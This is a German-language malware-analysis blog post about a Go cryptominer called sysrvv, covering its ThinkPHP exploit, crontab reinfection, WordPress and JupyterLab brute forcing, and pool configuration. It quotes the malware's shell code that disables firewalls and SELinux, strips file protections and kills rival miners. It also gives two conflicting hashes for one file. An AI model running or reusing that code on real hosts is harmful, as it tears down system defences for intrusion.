Ein weiterer Golang-Cryptominer am Start
Es gibt viele Varianten von Cryptomining-Malware, die Systeme im Internet infizieren. Am Freitag, 4. März 2021, bemerkte ich einen interessanten Eintrag in meinen Honeypot-Protokollen. Die dort erfasste Binärdatei stach hervor, da sie mit 4 MB ungewöhnlich groß war. Ich dachte sofort, es wäre ein Cryptominer, der in der Sprache „Go“ geschrieben wurde. Ich hatte recht. Dieser Miner nutzt jedoch einige neuere Exploits zur Verbreitung.
Die Malware versuchte, die ThinkPHP-Sicherheitslücke zu nutzen, um ein Skript namens „ldr.sh“ herunterzuladen und auszuführen. Das Loader-Skript lädt die sysrvv-Binärdatei herunter und deaktiviert andere Cryptominer. Außerdem wird ein Crontab hinzugefügt, das das System alle 30 Minuten mit wget, curl oder einem php-Skript erneut infiziert, anstatt sich auf eine Methode zum Herunterladen der Binärdatei zu verlassen, die möglicherweise fehlschlägt, wenn das entsprechende Dienstprogramm nicht vorhanden ist.
Die sysrvv-Binärdatei befindet sich in einem UPX-Paket, was bedeutet, dass sie mit dem Ultimate Packer for Executables gepackt wurde, einem Prozess, bei dem eine Binärdatei komprimiert wird, aber mit dem UPX-Tool noch ausgeführt werden kann. Dies sind die Statistiken der entpackten Datei:
$ file sysrvv sysrvv: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
$ sha256sum sysrvv 47183b14ed24978643de4697abe917847831b1560256ddd76e44e918a6181fd8 sysrvv
$ sha256sum sysrvv d3196b0b4767e86bf7e9e47722a5f733129c16f81f0ccbe5f822bdcfd778ca16 sysrvv
Die Malware wurde vor Kurzem in Virus Totalhochgeladen.
Einige Details des Cryptomining-Pools können mit dem Befehl „strings“ extrahiert werden, einem Befehlszeilentool, das lesbare Zeichenfolgen aus einer Binärdatei extrahiert. Dies ist hilfreich bei der Verfolgung anderer Malware, die möglicherweise zum selben Mining-Pool und somit wahrscheinlich zum selben Akteur gehört. Wir können auch feststellen, dass die Malware Monero-Coins mint:
"pools": [
"algo": "rx/0",
"coin": null,
"url": "xmr-eu1.nanopool.org:14444",
"user":
"49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa%s",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": true,
"enabled": true,
"tls": false,
"tls-fingerprint": null,
"daemon": false,
"socks5": null,
"self-select": null },
Die Malware versucht, andere Cryptominer zu deaktivieren, indem sie ihre Persistenz entfernt, und Sicherheitseinschränkungen zu lockern, indem sie SELINUX und iptables auf dem Host des Opfers deaktiviert. Dadurch werden alle anderen vorhandenen Miner entfernt, einschließlich solcher, die sich als Docker-Images verstecken.
if [ $(id -u) == 0 ]; then
chattr -i /etc/ld.so.preload
ufw disable
iptables -F
service iptables
stop sysctl
kernel.nmi_watchdog=0
echo 0 >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
setenforce 0
echo SELINUX=disabled > /etc/selinux/config
sysctl -w vm.nr_hugepages=$(nproc --all)
chattr -R -ia /var/spool/cron
chattr -ia /etc/crontab
chattr -R -ia /var/spool/cron/crontabs
chattr -R -ia /etc/cron.d
chattr -iua /tmp/
chattr -iua /var/tmp/
killall log_rot
ps aux | grep -v grep | egrep '2t3ik|qW3xT.2|ddg|./oka|postgres: .. . . /etc/ld.so.preload /etc/rc.d/init.d/kthrotlds /tmp/kthrotlds /usr/sbin/watchdogs /dev/shm/z3.sh /dev/shm/z2.sh /dev/shm/.scr /dev/shm/.kerberods /usr/bin/config.json /usr/bin/exin /usr/local/lib/libioset.so /etc/cron.d/tomcat /etc/rc.d/init.d/watchdogs docker ps | egrep 'pocosow|gakeaws|azulu|auto|xmr|mine|monero|slowhttp|bash.shell|entrypoint.sh|/var/sbin/bash' | awk '{print $1}' | xargs -I % docker kill % docker images -a | grep 'pocosow|gakeaws|buster-slim|hello-|azulu|registry|xmr|auto|mine|monero|slowhttp' | awk '{print $3}' | xargs -I % docker rmi -f % netstat -anp | egrep ':143|:2222|:3333|:3389|:4444|:5555|:6666|:6665|:6667|:7777|:8444|:3347|:14433' | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % crontab -r
Redress ist ein Tool zur Analyse „gestrippter“ Go-Binärdateien. Auf der Grundlage dieser Ergebnisse verfügen wir über einen Katalog von Schwachstellen, die zur Verbreitung dieser Malware verwendet werden.
Tabelle der Exploits
Die folgenden Funktionen werden auch verwendet, um eine Brute-Force-Anmeldung zu versuchen, die auf einer Liste von Anmeldedaten basiert, die in der Malware-Binärdatei gespeichert sind. Wenn der Zugriff gewährt wird, versucht die Malware, ein Plug-in hochzuladen oder ein Theme zu bearbeiten.
wordpress.(*wpExec).login
wordpress.(*wpExec).exploitUploadPlugin Function to brute force login
wordpress.(*wpExec).exploitWritableTheme
wordpress.BruteXmlrpc
wordpress.pwdByUsr
Die Strings aus der Funktion in der Binärdatei zeigen eine Liste mit Anmeldeinformationen und einen curl-Befehl an, wobei der User-Agent auf „curl_brute_wordpress“ gesetzt ist.
Interessant ist, dass die Malware als User-Agent-Anfrageheader den Namen des Exploits festgelegt hat, den sie zu nutzen versucht. Dies könnte eine gute Möglichkeit sein, um festzustellen, ob Ihr System von dieser Malware angegriffen oder kompromittiert wurde.
Es scheint zusätzliche Funktionen zu geben, um JupyterLab Notebook-Anmeldedaten per Brute Force zu knacken – wie ich vermute, in einem Versuch, beliebige Befehle auf schlecht gesicherten Notebooksauszuführen.
Fazit
Die Cryptomining-Software wird sich weiterentwickeln und die neuesten Softwareschwachstellen ausnutzen. Softwareschwachstellen wie Command Injection und Remote Code Execution werden von Cyberkriminellen weiterhin häufig verwendet, um Ihre CPU-Zyklen zu Geld zu machen. Wir wissen sicher, dass Kriminelle ihre Malware aktualisieren, um die neuesten Exploits zu nutzen. Das kann bedeuten, dass ältere Schwachstellen entweder gepatcht werden oder dass sie eine weniger zuverlässige Methode zur Kompromittierung von Systemen darstellen. Auch hier ist die beste Vorgehensweise, die Systemsoftware auf dem neuesten Stand zu halten und starke Passwörter mit Multi-Faktor-Authentifizierung zu verwenden.